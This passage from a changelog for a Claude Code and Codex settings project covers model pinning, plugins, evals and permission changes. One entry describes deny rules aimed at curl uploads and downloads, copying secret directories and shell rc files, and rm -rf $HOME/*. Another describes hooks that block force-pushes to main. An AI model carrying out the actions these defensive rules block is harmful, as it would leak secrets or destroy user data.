evals/harvest-workflow now passes a run where /harvest finds no evidence of the described session, writes nothing, and labels its draft as unverified. That is correct behavior in the eval's empty sandbox, and the grader had been failing it on every pre-push run.

[15.37.4] — 2026-09-29

Nothing changes for users. codebase-memory-mcp is parked, and the disabled placeholder engine that stood in for it is gone, along with the pinned-binary download path only it used. No install ever used either.

Removed:

  • The codebase-memory engine descriptor, the download install method, src/lib/engine-pin.ts, and the session-start engine-pin check in verify-hooks. download-verify.ts stays; pinned-tools.ts uses it for tldr-code.
  • Managed-file manifest versions move to 14 (Claude) and 12 (Codex runtime) because engine-pin.ts is no longer shipped. Older versions still list it, so ownership and rollback of earlier installs are unchanged.

Evaluation notes for codebase-memory-mcp v0.11.0 (2026-09-29), so the next evaluation starts from data:

  • It cannot back the tldr server. Its 17 tool names differ from the 18 mcp__tldr__* names the contract fixes.
  • Release assets are archives. The binary is about 303 MB with bundled embeddings.
  • On cc-settings it indexed 7,432 nodes in 13.6 s. It found 3 of 4 real callers of resolveEngine (it missed a call made through a module object) and 2 of 2 for downloadAndVerify.
  • MCP initialize took 10-24 s with a cold shared daemon (about 80% of one core) and about 4 s with a warm one. The idle daemon uses about 15 MB. Tool schemas total 17 KB.
  • The daemon serves a web UI on localhost:9749 by default.
  • Its own install command writes hooks and instructions into every agent config, so cc-settings must never run it.
  • Parked for the startup costs above.

[15.37.3] — 2026-09-29

The tldr code-intelligence tools work again. Every mcp__tldr__* call was returning "Could not build a TypeScript program" on every install.

Fixed:

  • The native-ts engine loads the TypeScript compiler at runtime, but typescript was only a devDependency, and the installer runs bun install --production, which skips those. typescript is now a regular dependency. The installer removes its tsc/tsserver bin links after installing, since the runtime integrity check rejects symlinks and nothing runs those CLIs.
  • A new test fails when any shipped src/ file imports a package that isn't in dependencies, so the same gap can't come back with a different package.

[15.37.2] — 2026-09-29

./setup.sh works again on installs made before 15.37.0. It failed with "missing: skills/audit/references/test-audit.md".

Fixed:

  • 15.37.0 added the /audit tests checklist to install manifests that had already shipped, so the installer treated the file as owned but missing on every existing install. The file now lives in a new manifest version (Claude v13, Codex runtime v11), and the shipped versions are back to exactly what 15.36.1 installed.
  • A test pins a hash of every shipped manifest version, so adding a file to one fails in CI instead of on a user's machine.

[15.37.1] — 2026-09-28

The first /audit tests run on cc-settings: two coverage gaps closed and 14 low-value tests removed.

Added:

  • A test that runs installSettings against a temp HOME with a user hook carrying a field the schema does not model, and checks that verify-hooks still reports a match. It fails if the installer fingerprints the zod-stripped settings instead of the raw ones.
  • A test that runs runClaudePrint against a fake claude binary and checks the prompt arrives on stdin and never on argv.

Removed:

  • tests/setup.test.ts (tested only zod) and tests/context-continuity-gaps.test.ts (duplicated session-continuity.test.ts; its two unique assertions moved there).
  • Duplicate or vacuous cases in scripts-smoke, light-profile, plugin-manifest, codex, version-delta, install-e2e, permissions-check, team-knowledge, plugin-key-redaction, and profile-schema, each folded into the test that owns the behavior where it asserted anything unique.
  • The export on LATER_KEY_COMMAND, which only a removed test used.

Changed:

  • /audit tests requires the covering test's assertion to be quoted in the evidence record, not just its line number. Two of the first run's findings cited covering tests that did not assert the same thing.

[15.37.0] — 2026-09-28

/audit tests finds tests that cost maintenance without guarding behavior, and the tester agent checks every new test against the same list before writing it.

Added:

  • /audit tests, a ninth audit mode. It hunts 15 junk-test patterns (T1–T15: assertion-free probes, self-computed expectations, mocks that return the asserted answer, source greps, copied inventories, test-only exports, and more), keeps anything that guards a real contract, and requires a filled evidence record before it recommends deleting a test. Adapted from openclaw's test-audit skill.
  • skills/audit/references/test-audit.md holds the patterns, the retention bar, the evidence record, and a four-question authoring gate.
  • Eval case audit-tests-junk.

Changed:

  • The tester agent runs the four-question authoring gate and the T1–T15 check before adding or changing a test.

[15.36.1] — 2026-09-28

Agents stop writing ! bash handoff scripts for the cleanup commands 15.36.0 allowed.

Changed:

  • CLAUDE.md Autonomy tells agents to run git reset --hard, git clean -f, git worktree remove --force, git push --force-with-lease to a feature branch, gh api DELETE, and gh release delete themselves. "Always ask" now covers a plain --force push or any force-push to main or master, and the handoff example list names only commands that stay denied.
  • The Codex instructions say the same for Codex, and that git push and gh api ask for approval there instead of going to a handoff script.
  • docs/settings-reference.md no longer lists the allowed cleanup commands as denied.

[15.36.0] — 2026-09-28

Subagents now run on Claude Sonnet 5.5, and agents run routine git and GitHub cleanup themselves instead of handing it back as a ! bash script.

Changed:

  • The execution tier is claude-sonnet-5-5: CLAUDE_CODE_SUBAGENT_MODEL and the implementer, tester, scaffolder, explore, deslopper, reviewer, and codex-verifier agents. It costs the same as Sonnet 5 and is faster with fewer tokens per task. The full ID is pinned because Claude Code 2.1.284 still resolves sonnet to Sonnet 5. planner, maestro, and security-reviewer stay on Opus 5.5, which is stronger at review-shaped judgment.
  • The quota steer and the Fable model-switch guard point to /model claude-sonnet-5-5 for routine turns, and the skill evals and /autoresearch default to it. bun run tokens prices it, and the Codex installer maps it to gpt-6-sol.
  • git push --force-with-lease, git reset --hard, git clean -f, git worktree remove --force, gh api DELETE calls, and gh release delete are allowed for Claude. Codex allows the reset, clean, worktree, and release commands; force-with-lease and gh api still prompt, because its prefix rules cannot see a push destination or an API endpoint. Plain --force stays denied.
  • The safety-net hook blocks force-with-lease toward main or master, whether named (main, HEAD:refs/heads/main) or implied by pushing from that branch, and blocks gh api DELETE on a repository root endpoint, which would delete the repo.
  • The installer prunes the retired deny rules from deny on existing installs. The same rule in a user's ask or allow list, or a user's own variant, is kept.

[15.35.0] — 2026-09-26

The advisor is on by default: every session and subagent can consult Fable 5.1 at decision points, and the agents that do long work are told when to ask.

Added:

  • "advisorModel": "claude-fable-5-1" in config/10-core.json. Fable 5.1 is the only advisor every model we run accepts: the Fable 5.1 default, the Opus 5.5 agents, and the Sonnet 5 subagents. The full ID is pinned because a Fable 5.1 session silently drops a Fable 5 advisor, and the fable alias follows Claude Code's default.
  • implementer, tester, and maestro consult the advisor, when it is available, before committing to an approach, after a second failed attempt, and before reporting done. Claude Code has no setting to force advisor calls, so the prompts ask for them.

Changed:

  • docs/agent-models.md "Advisor" matches the current docs: an Opus 5.5 pairing row, /advisor working in -p and the Agent SDK since v2.1.260, what happens to an advisor the main model can't pair with, the flag-fetch requirement, and how to turn it off when quota is tight.

Files changed:

  • config/10-core.json
  • agents/implementer.md, agents/tester.md, agents/maestro.md
  • docs/agent-models.md, docs/settings-reference.md
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json

[15.34.0] — 2026-09-26

Sync with Claude Code v2.1.283 and Codex v0.157.1, plus a fix for permission deny rules that never matched.

Adopted:

  • maxProseWidth (Claude Code 2.1.282) in src/schemas/settings.ts and docs/settings-reference.md. It caps prose width in wide terminals. cc-settings leaves it unset.
  • attribution: false (2.1.281) in the settings schema. config/10-core.json keeps the object form, because older CLI versions skip a settings file that holds the boolean.
  • Managed settings availableModelsMatch and deniedModels (2.1.283) and allowClaudeInChromeWithManagedMcp (2.1.282) in the settings schema, so managed files that use them still pass the strict parse.
  • CLAUDE_CODE_DISABLE_DANGEROUS_RM_TIMEOUT (2.1.281) in the manifest and the env table.

Fixed:

  • 45 permission deny rules in config/30-permissions.json never fired. Claude Code reads a rule that mixes an inner * with a trailing :* as a literal prefix, so curl uploads, curl -o downloads, cp/mv of secret directories and shell rc files, find -exec, and rm -rf $HOME/* passed the deny list. They now end in a bare *. docs/settings-reference.md and the permissions-check.ts comments match.
  • Five places still said Codex execution runs on GPT-5.6 Sol after 15.29.0 moved it to GPT-6 Sol. Codex 0.156.1 now ships GPT-6 Sol and Luna.

Docs:

  • The native AGENTS.md read now also works on Bedrock, Vertex, Foundry, LLM gateways, and with telemetry off (2.1.281). docs/settings-reference.md and /cc migrate no longer list those as blockers.
  • CLAUDE_CODE_AUTO_MODE_SERVER now also applies on a direct API connection (2.1.281). CLAUDE_CODE_GATEWAY_HINT_HEADERS now also sends x-claude-code-prompt-id (2.1.283).
  • MANUAL.md mentions /doctor prompt-audit (2.1.283).

Files changed:

  • src/schemas/settings.ts, schemas/settings.schema.json
  • config/30-permissions.json
  • src/lib/permissions-check.ts
  • src/lib/codex.ts
  • src/lib/codex-install-state.ts
  • docs/settings-reference.md
  • docs/codex-bridge.md
  • codex/AGENTS.append.md
  • CLAUDE-FULL.md
  • MANUAL.md
  • skills/cc/SKILL.md
  • upstream/claude-code-manifest.json
  • upstream/codex-manifest.json
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json

[15.33.0] — 2026-09-24

Every skill now has an eval case, a push runs the evals for the skills it changes, and a repeat install spends about 5 seconds on plugins instead of 17.

Added:

  • evals/: 41 claude plugin eval cases covering all 38 skills, each tagged with the skill it exercises.
  • bun src/scripts/eval-changed.ts and a repo-local pre-push hook: before git push, run the cases for skills changed since upstream (one run each, capped at $5), and block on a failing case or a changed skill with no case. A missing CLI, auth failure, or cost ceiling warns instead of blocking.
  • lint:skills fails when a skill has no eval case.
  • Installer progress lines for each plugin step, the time taken by any step over 2 seconds, and a line before each dependency install.

Changed:

  • The installer checks installed plugins and registered marketplaces first and skips the ones already current. If that check fails, it runs every step as before.
  • /codex does the delegated task itself when the bridge is unavailable, instead of asking which fallback to use.
  • /autoresearch's standalone Codex section now tells Claude Code to continue. The old "Stop here in standalone Codex" opener sometimes made Claude stop, or treat the skill as injected text.

Fixed:

  • Plugin updates never reached existing installs: claude plugin install reports success on an installed plugin without upgrading it. The installer now runs claude plugin update for an installed plugin that is behind.

[15.32.0] — 2026-09-24

Agents now default to E2E tests and stop writing unit tests for code that already exists.

Added:

  • AGENTS.md "E2E-First Testing": prefer E2E tests as the only tests, end each with a verifiable, repeatable artifact, never write unit tests after the code, and write down the failure modes before the code when a system must be tested in isolation.

Changed:

  • tester agent defaults to E2E tests that save an artifact, and drops unit-test-first guidance and line-coverage targets.
  • plan-ceo-review test review checks for E2E coverage and artifacts instead of a unit-heavy test pyramid.
  • plan-feature defaults its testing requirement to E2E tests with artifacts instead of unit and integration tests.
  • AGENTS.md drops four lines that repeated other sections, to stay under its 16 KiB always-loaded budget.

Removed:

  • Four low-signal test blocks: the platform checks in lib-helpers.test.ts, two schema restatements in setup.test.ts, and a passthrough check in status.test.ts. An audit of all 92 test files found the rest guard real hook, permission, redaction, and regression behavior.

Fixed:

  • README and docs index links pointed at a CLAUDE.md that no longer exists; they point at CLAUDE-FULL.md.

[15.31.0] — 2026-09-23

Cut the fixed context every session starts with, and add a way to measure token spend.

Changed:

  • ENABLE_TOOL_SEARCH is auto:2 (was auto:10). The threshold is a share of the context window, so on 1M-window models 10% (100K) never triggered and every MCP and deferrable built-in tool schema loaded on every request. A fresh session measures 34.8K tokens in /context instead of 85.8K. MCP tools, context7 included when its server entry lacks alwaysLoad, now cost one tool search on first use.
  • This repo's .claude/settings.json excludes its root AGENTS.md, which loaded a second time next to the installed copy the user CLAUDE.md imports (5.9K tokens per request in cc-settings sessions).

Added:

  • bun run tokens (src/scripts/token-report.ts, src/lib/token-usage.ts): API-equivalent cost from Claude Code transcripts, deduped per request, split by billing type (input, 5m and 1h cache writes, cache reads, output), main session vs subagents, subagent type, and model, with each thread's cold prefix. Managed-files manifest version 12 and Codex runtime manifest version 10 install both files, so existing installs on either host upgrade cleanly.

Measured, no change:

  • Main-conversation cache TTL stays 1h. Replaying 30 days of transcripts (18K requests) under a 5-minute TTL costs 57% more: 844 gaps of 5 to 60 minutes would each re-write a ~200K prefix.
  • Delegation guidance stays. Subagents were 16% of 30-day spend. The named agents start from 11-20K-token prefixes and cost $0.10-3.27 per spawn; the 170K-prefix outliers are built-in general-purpose spawns and forks, which the MCP deferral above also shrinks.

Files changed:

  • config/10-core.json
  • .claude/settings.json
  • .claude/AGENTS.md
  • docs/settings-reference.md
  • src/scripts/token-report.ts
  • src/lib/token-usage.ts
  • src/lib/install-source-inventory.ts
  • src/lib/claude-managed-file-manifests.ts
  • src/lib/codex-runtime-manifests.ts
  • tests/token-usage.test.ts
  • tests/install-e2e.test.ts
  • tests/codex-install.test.ts
  • package.json

[15.30.1] — 2026-09-23

Run the one cross-model Codex review on direct pushes too, so repos that push straight to main without a PR (like this one) still get a Codex pass.

Changed:

  • codex-verify hook policy: in a repo with no PR, run the single review before each push with review --base origin/<branch>, so it covers the unpushed commits rather than only uncommitted changes. Still one review per change, not per turn.
  • CLAUDE-FULL.md, skills/codex/SKILL.md, docs/codex-bridge.md, README.md: state the same trigger.

Files changed:

  • src/hooks/codex-verify.ts
  • CLAUDE-FULL.md
  • skills/codex/SKILL.md
  • docs/codex-bridge.md
  • README.md

[15.30.0] — 2026-09-22

Add a "No Loose Ends" guardrail to the portable standards, so Claude Code and Codex finish the follow-ups their own changes create instead of listing them.

Added:

  • AGENTS.md "No Loose Ends": after a delete, rename, or move, find and fix every reference in the same pass, including sibling checkouts the files point to. A follow-up that takes minutes gets done, not suggested. Only decisions, missing access, or changes outside the task's repositories go back to the user.

Removed:

  • The Tech Stack copy of "check the latest version before installing", which repeated External Libraries step 2. This keeps AGENTS.md under its 16 KiB ceiling.

Files changed:

  • AGENTS.md

[15.29.2] — 2026-09-22

Docs-only: decision records for two evaluations that ended in no-go.

Added:

  • docs/audits/gortex-2026-09-21.md: Gortex v0.64.4 misses a renamed cross-file TypeScript caller that native-ts finds, so native-ts stays the code-intel default.
  • docs/audits/skill-routing-2026-09-21.md: Laya MLX and two Jev formulations fail the recall, false-suggestion, and latency gates for suggesting skills, so both hosts keep their own skill selection.

Files changed:

  • docs/audits/gortex-2026-09-21.md
  • docs/audits/skill-routing-2026-09-21.md

[15.29.1] — 2026-09-22

Docs-only: docs/codex.md catches up with the current models and explains why adaptive effort stays off.

Changed:

  • Execution roles are documented as running on gpt-6-sol, and the Claude bridge as defaulting to Opus 5.5.
  • New "Adaptive reasoning effort" section: cc-settings does not enable Jev-driven effort changes for Astra or Fable, because neither host has a verified integration that preserves the prompt cache.

Files changed:

  • docs/codex.md

[15.29.0] — 2026-09-22

Move Codex execution work to the GPT-6 generation now that Codex CLI 0.156.0 lists gpt-6-sol and gpt-6-luna.

Changed:

  • codex-run.ts exec defaults to gpt-6-sol instead of gpt-5.6-sol, which Codex now labels an older model. review and ask stay on gpt-6-astra. CODEX_EXEC_MODEL and --model still override.
  • Native Codex agents on the sonnet tier (implementer, tester, explore, scaffolder, deslopper, reviewer, claude-verifier) get model = "gpt-6-sol". The haiku tier maps to gpt-6-luna; no shipped agent uses it today.

Files changed:

  • src/lib/codex.ts
  • src/lib/codex-install-state.ts
  • src/scripts/codex-run.ts
  • skills/codex/SKILL.md
  • docs/agent-models.md
  • docs/codex-bridge.md
  • tests/codex.test.ts
  • tests/codex-install.test.ts
  • package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, src/setup.ts

[15.28.0] — 2026-09-22

Tune the instruction files for Opus 5.5 and Fable 5.1, following Anthropic's prompt-audit guidance for those models.

Changed:

  • The clarifying round now fires only when a request's readings would lead to materially different work, not whenever a task crosses the delegation bar. Size alone no longer triggers questions; the agent makes routine calls and states its assumption. Updated in AGENTS.md, CLAUDE-FULL.md, output-styles/darkroom.md, codex/AGENTS.append.md, the delegation-detector hook message, and the refactor skill.
  • AGENTS.md drops the blanket "These rules are non-negotiable." line and the all-caps NEVER/MUST/Mandatory markers. Current models over-apply pressure language; each rule already states its reason.
  • Redundant instructions removed, measured against v15.27.0: Claude's always-loaded files drop from 33,572 to 31,859 bytes, Codex's portable file from 16,313 to 16,066. CLAUDE-FULL.md loses its copies of the register rules and "Numbers" (subagents already get both through the AGENTS.md import); the two register lines only it had (mannered prose, when structure helps) move into AGENTS.md, so Codex gets them too. AGENTS.md loses "Philosophy", "Getting Started", "Autonomous Execution" (current models read and search without asking; destructive-action confirmation stays under Safety), and a third copy of the React Compiler rule.
  • .claude/AGENTS.md states the runtime and dependencies in present tense and points to the "Skill library ratchets" section instead of a soft cap that no longer exists.

Files changed:

  • AGENTS.md
  • CLAUDE-FULL.md
  • output-styles/darkroom.md
  • codex/AGENTS.append.md
  • src/hooks/delegation-detector.ts
  • skills/refactor/SKILL.md
  • .claude/AGENTS.md
  • package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, src/setup.ts, CHANGELOG.md

[15.27.0] — 2026-09-22

Sync with Claude Code v2.1.280 and Codex 0.156.0. The judgment agents and the Codex-to-Claude bridge now run on Claude Opus 5.5.

Adopted:

  • Claude Opus 5.5 for judgment work (Claude Code 2.1.280). maestro, planner and security-reviewer, the six profiles, and the claude-run.ts / claude-verifier default move from claude-opus-5 to claude-opus-5-5. Opus 5.5 is the new default Opus and costs less per token ($4/$20 per Mtok against $5/$25, cache reads $0.20 against $0.50). Without the repin those agents would have stayed on the older, pricier model while /model opus moved on. The Codex tier map adds claude-opus-5-5 → gpt-6-astra and keeps claude-opus-5 for anyone still pinning it.
  • CLAUDE_CODE_MAX_MCP_DESCRIPTION_LENGTH documented (2.1.280). It changes the 2,048-character cap on MCP tool descriptions and server instructions. cc-settings leaves it unset, because a higher cap spends context on every session.

Docs: docs/agent-models.md cost comparison now reads Fable at 2.5x Opus 5.5 on base tokens. The cache-read argument for escalating to Fable is weaker: Fable's $0.25 re-reads now cost about the same as Opus 5.5's $0.20, not less.

Unchanged pending evidence: the long-context-premium line in CLAUDE-FULL.md and MANUAL.md (current API docs confirm no premium only for Opus 4.7 and 4.8), the advisor pairing table, and the handoff degradation thresholds (no Opus 5.5 data yet).

Skipped: 2.1.279's server-side auto-mode classifier default (documented in 15.26.1); dialog keys, fullscreen mouse, /permissions and /config UI; per-model effort changes (CLAUDE_CODE_EFFORT_LEVEL still sets the default); the PermissionRequest agent-hook refusal and the ~/.claude/skills manifest trash fix (nothing here wires either). Codex 0.156.0 is UI-only for cc-settings: /tui, voice, /usage, themes, /daemon, command-center worktree sessions, and the personality deprecation touch no installed surface.

Files changed: agents/maestro.md agents/planner.md agents/security-reviewer.md profiles/maestro.md profiles/nextjs.md profiles/react-native.md profiles/react-router.md profiles/tauri.md profiles/webgl.md src/lib/claude-bridge.ts src/lib/codex-install-state.ts src/scripts/claude-run.ts tests/claude-bridge.test.ts CLAUDE-FULL.md codex/AGENTS.append.md codex/agents/claude-verifier.md docs/agent-models.md docs/claude-vs-codex.md docs/codex-bridge.md docs/frontmatter-reference.md docs/profiles.md docs/settings-reference.md upstream/claude-code-manifest.json upstream/codex-manifest.json package.json .claude-plugin/plugin.json .codex-plugin/plugin.json src/setup.ts

[15.26.1] — 2026-09-21

Sync with Claude Code v2.1.278. Docs only; Codex stays at 0.155.1.

  • CLAUDE_CODE_AUTO_MODE_SERVER now documents the 2.1.278 default. Auto mode runs its permission classifier server-side by default for Claude API, Enterprise, Bedrock, Vertex, Foundry and gateway sessions, with no classifier overhead billed and a warning when it falls back to the billed local classifier; "0" opts out on the non-first-party platforms. The row in docs/settings-reference.md had described the pre-2.1.278 opt-in.
  • Skipped: the Auto mode server row in /status (native UI, nothing in cc-settings mirrors it).
  • Files changed: docs/settings-reference.md, upstream/claude-code-manifest.json, four version sites.

[15.26.0] — 2026-09-19

  • drift-fuse plugin (plugins/drift-fuse/, drift-fuse@cc-settings, enabled by config/10-core.json and installed by setup.sh). Watches an unattended run for drift from the task the person asked for. prompt.submit keeps the person's prompts (composer or bridge origin) as the task contract: one long enough to name a task replaces it, a short one or a slash command is appended (then: fix billing), pasted tool output changes nothing; the contract is snapshotted per turn, and a turn whose contract a person replaced mid-turn is not scored (both from the Codex review); tool.call records the main loop's edits, writes and Bash command heads; turn.complete sends the contract, those actions and the head of the answer to TypeSafe's Jev model with one noul question (did this turn serve the task) through $.http.fetch, 2.5 s timeout via $.clock.sleep. A turn under driftBelow (0.35) is a strike; tripAfter (2) consecutive strikes trip the fuse. A tripped fuse redirects the next prompt no person typed (a loop wakeup, a routine, a task notification, an SDK turn) by attaching one context line that names the task and the last turn's actions, or drops it when onTrip is pause; a person's prompt always passes and resets the contract and the fuse. By default only turns started by a non-person prompt are scored (scope: "unattended"); scope: "all" scores every main-loop turn. Without a TYPESAFE_API_KEY, or on any Jev failure, nothing is scored. The contract prompt, file paths, command heads and answer head leave the machine for each scored turn. Pure decision functions (foldTurn, describeToolCall, scoringState, redirectLine) and the hook wiring are covered by tests/drift-fuse.test.ts under bun test; claude plugin validate passes.
  • The auto-update agent no longer posts a desktop notification when it skips because cc-settings has uncommitted or staged changes. That skip is the developer's own work in progress, and the launch agent runs daily, so the toast repeated every morning; an osascript notification also has no click target, so clicking it opened Finder. The skip is still logged and recorded in the last-run state; blocked checkouts, clone failures and setup failures still notify. Reaches an existing install on the next bash setup.sh. Separately, every full bun test run posted one real "origin is not the expected repo" toast: the blocked-origin case in tests/auto-update-script.test.ts sets NODE_ENV=production to prove the test-only git override is ignored outside tests, which also unmuted the notifier; the test now sets CI=true as well, the notifier's other mute.
  • Files changed: plugins/drift-fuse/**, .claude-plugin/marketplace.json, config/10-core.json, src/lib/claude-install-settings.ts, src/lib/install-lifecycle.ts, src/lib/install-display.ts, src/scripts/auto-update.ts, package.json (typecheck:plugins), tsconfig.json, tests/drift-fuse.test.ts, tests/plugin-manifest.test.ts, tests/auto-update-script.test.ts, docs/hooks-reference.md, four version sites.

[15.25.0] — 2026-09-18

First cc-settings plugin built on the pattern of Claude Code's own built-in mods (anthropics/claude-code/mods), and a quieter compaction transcript.

  • context-report plugin (plugins/context-report/, context-report@cc-settings, enabled by config/10-core.json and installed by setup.sh). Hooks prompt.context and reports the instructionFiles the engine actually put behind the claudeMd block, once per context load: Instructions loaded (6 files, 79.5 KB): user ~/.claude/CLAUDE.md +@AGENTS.md · project ./AGENTS.md ./.claude/AGENTS.md · memory 1. It reads the chain's result, not its input, because the built-in agents-md mod is seated beneath it and adds a project's AGENTS.md inside next(); the first live run reported 3 files for that reason and 6 after the fix. Two hints ride on the same facts: a project-tier CLAUDE.md or CLAUDE.local.md that keeps the project's AGENTS.md from loading (names /cc migrate, rename or merge by whether an AGENTS.md exists on disk via $.fs.stat), and a user CLAUDE.md without the @AGENTS.md import. Headless sessions log to the debug sink. The classic SessionStart banner's Standards: line and the 15.24.0 migration hint in src/lib/project-awareness.ts are gone; they guessed from the filesystem and could not see imports or the native read. The live check also surfaced a stray ~/AGENTS.md (a 27 KB Codex-only file from an earlier install) loading as a project file in every session under home.
  • compaction-trigger 0.3.0 hooks ui.log and rewrites fast-jev-compaction's per-item decisions: dump to the debug log (next({ ...e, to: "debug" })); the kept N/M messages summary still shows. Upstream has no option for this and is outside darkroomengineering, so the override lives here. The Jev plugin itself stays external and pinned: it is actively maintained, and folding its 1,270 lines in would mean owning the transcript-rewriting code.
  • Shared plugin types. plugins/types/claude-code.d.ts (regenerated from 2.1.277; claude -p '/plugin-types <dir>' works headless) replaces the per-plugin copy; both tsconfigs include it, bun run typecheck:plugins checks both plugins. bunfig.toml pins bun test to tests/ so each plugin's tests/ folder can hold claude-code/testing kit tests for claude plugin test, which the 2.1.277 public build does not ship yet; bun test covers the pure report() and isDecisionDump().

Files changed:

  • plugins/context-report/{.claude-plugin/plugin.json,hooks/hooks.json,hooks/register.ts,tests/register.test.ts,tsconfig.json}
  • plugins/types/claude-code.d.ts (moved from plugins/compaction-trigger/types/), plugins/compaction-trigger/{hooks/trigger.ts,tsconfig.json,.claude-plugin/plugin.json}
  • .claude-plugin/marketplace.json, config/10-core.json, src/lib/{claude-install-settings,install-display,install-lifecycle,project-awareness}.ts
  • bunfig.toml, tsconfig.json, package.json
  • tests/{context-report,compaction-trigger,plugin-manifest}.test.ts
  • docs/hooks-reference.md, src/setup.ts, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md

[15.24.0] — 2026-09-18

Sync with Claude Code v2.1.277 and Codex v0.155.1, and move the standards file onto the path Claude Code now reads.

AGENTS.md is now the file, not a pointer. Claude Code 2.1.277 reads a project's AGENTS.md as project instructions whenever the project has no CLAUDE.md (built-in agents-md mod; /config → Project instructions; pluginConfigs["agents-md@builtin"].options.instructionFiles). It has no user-level fallback, so ~/.claude/CLAUDE.md stays, but it now @-imports AGENTS.md instead of asking the model to read it, which the upstream docs single out as the pattern to replace: the ~4K-token standards file loads every turn, in subagents too, where before it loaded only when the model chose to open it. The repo's own CLAUDE.md moved to .claude/AGENTS.md (root AGENTS.md is an installed artifact), .claude/ is un-ignored so that file, .claude/settings.json, and the pre-commit hook are tracked, the SessionStart banner prints a hint when a project still has a CLAUDE.md, .claude/CLAUDE.md, or CLAUDE.local.md, and /cc migrate renames or merges it after showing the plan. whats-on now checks the installed CLAUDE.md for the import and reports the truth either way.

Adopted:

  • syncClaudeAiSkills / syncClaudeAiPlugins (2.1.275) in src/schemas/settings.ts, the manifest, and docs/settings-reference.md: false keeps a machine off the claude.ai account sync. Not set; per-user.
  • CLAUDE_CODE_MCP_STARTUP_WAIT_MS and OTEL_LOG_MANAGED_SETTINGS (2.1.274) tracked in the manifest and env table, with the MCP_SDK_GENERATION / MCP_PROTOCOL_NEGOTIATION opt-outs now that the v2 MCP client is the default on every install (2.1.274). The startup-wait knob matters for claude -p scripts whose first turn must not block on a slow server.
  • enabledPlugins and pluginConfigs added to the manifest's knownSettingsKeys; the schema has declared them since 15.x and the scanner flagged the gap.
  • docs/settings-reference.md gains the Project instructions section (modes, what does and does not count as a CLAUDE.md, nested AGENTS.md on Read, claudeMdExcludes applying, where support is absent), the /update-config Edit(path) note (2.1.275), and the sandbox.excludedCommands every-part rule (2.1.277). docs/hooks-reference.md notes /plugin install --marketplace (2.1.275). CLAUDE-FULL.md says subagent results arrive under a marked, indented header (2.1.277). docs/codex.md notes Codex 0.155.1 leaves reasoning summaries off by default.

Deletions / Native-now-redundant:

  • taskOutputMaxChars (schema, manifest, docs) and the TaskOutput tool (manifest knownBuiltinTools): 2.1.277 removed the tool, Claude reads a background task's output file with Read, and TASK_MAX_OUTPUT_LENGTH is inert. bashOutputMaxChars stays.

Skipped: Claude apps gateway items, "type": "sdk" MCP entries (never in our schema), /code-review inline prompts, VSCode, web, Claude Tag, Code Review, Windows, Bedrock/Vertex/Foundry; on the Codex side /voice, Touch ID for MCP, the agents overview, daemon update schedules, Bedrock credentials, memory v2, and Guardian internals touch no installer surface.

Follow-up, not started: anthropics/claude-code/mods/ publishes the four built-in plugins as function-hook modules (register(on, options) on engine events such as prompt.context and session.start, tested with claude plugin test). cc-settings' SessionStart scripts and the statusline could become one such mod and read the instruction files the engine actually loaded instead of inferring them.

Files changed:

  • .claude/AGENTS.md (was CLAUDE.md), .claude/settings.json, .claude/hooks/pre-commit-invariants.ts, .gitignore
  • CLAUDE-FULL.md, MANUAL.md, docs/settings-reference.md, docs/hooks-reference.md, docs/codex.md, docs/whats-on.md
  • skills/cc/SKILL.md
  • src/schemas/settings.ts, schemas/settings.schema.json
  • src/lib/project-awareness.ts, src/scripts/whats-on.ts, tests/whats-on.test.ts
  • upstream/claude-code-manifest.json, upstream/codex-manifest.json
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json, CHANGELOG.md

[15.23.0] — 2026-09-18

  • The delegation detector asks Jev instead of matching regexes, when a TypeSafe key is set. src/hooks/delegation-detector.ts sends the incoming prompt to TypeSafe's Jev model with one statement (would this touch 3+ files, need 12+ tool calls, or run several workstreams) and fires the advisory at probability ≥ 0.7. Measured on 1,102 real prompts from this machine's transcripts, judged against what the turn actually did (3+ files or 12+ tool calls): the regex fired 21 times with 10 correct; Jev at 0.7 fired 83 times with 53 correct. Latency p50 321 ms, p95 419 ms, under the hook's 3 s timeout; the whole replay cost $0.018. The prompt text leaves the machine for this call, which makes this the only cc-settings hook that sends prompt text anywhere; without a key, or on any failure or 2 s timeout, the regex score decides exactly as before. Recall stays low at every threshold because most big turns start from prompts that read small, so this is a better detector, not a complete one.
  • src/lib/jev.ts is a small shared client (typesafeKey(), jevNoul()): key from the process env or the settings env block, one noul question, null on any failure. TYPESAFE_ENDPOINT overrides the API URL for tests.
  • The delegation "fired" telemetry line gains an optional jev probability next to the integer score; still no prompt text.
  • Managed-file manifests bump (Claude 10 → 11, Codex runtime 8 → 9) so src/lib/jev.ts reaches existing installs on the next setup.sh; earlier versions keep reporting exactly the files they own.
  • Files changed: src/hooks/delegation-detector.ts, src/lib/jev.ts, src/lib/escalate-telemetry.ts, src/lib/install-source-inventory.ts, src/lib/claude-managed-file-manifests.ts, src/lib/codex-runtime-manifests.ts, tests/install-e2e.test.ts, tests/delegation-detector.test.ts, docs/hooks-reference.md, four version sites.

[15.22.2] — 2026-09-18

  • /qa and /lighthouse work with chrome-devtools or aside-devtools, and no longer warn when neither is registered. Both names run the same package, so the skills list both tool prefixes in allowed-tools and tell the model to use whichever is present. Without either, /qa reviews the code and asks for a screenshot; /lighthouse runs the CLI loop without screenshots. The installer's "missing MCP: chrome-devtools" warning for these two skills is gone.
  • Skill prerequisites can be any-of and optional. requires: - mcp: takes a list of names, satisfied by any one registered server, and optional: true marks a prerequisite the installer never warns about (src/schemas/skill.ts, src/lib/skill-prereqs.ts). Documented in docs/skill-authoring.md.
  • Files changed: src/schemas/skill.ts, schemas/skill.schema.json, src/lib/skill-prereqs.ts, tests/skill-prereqs.test.ts, skills/qa/SKILL.md, skills/lighthouse/SKILL.md, docs/skill-authoring.md, four version sites.

[15.22.1] — 2026-09-18

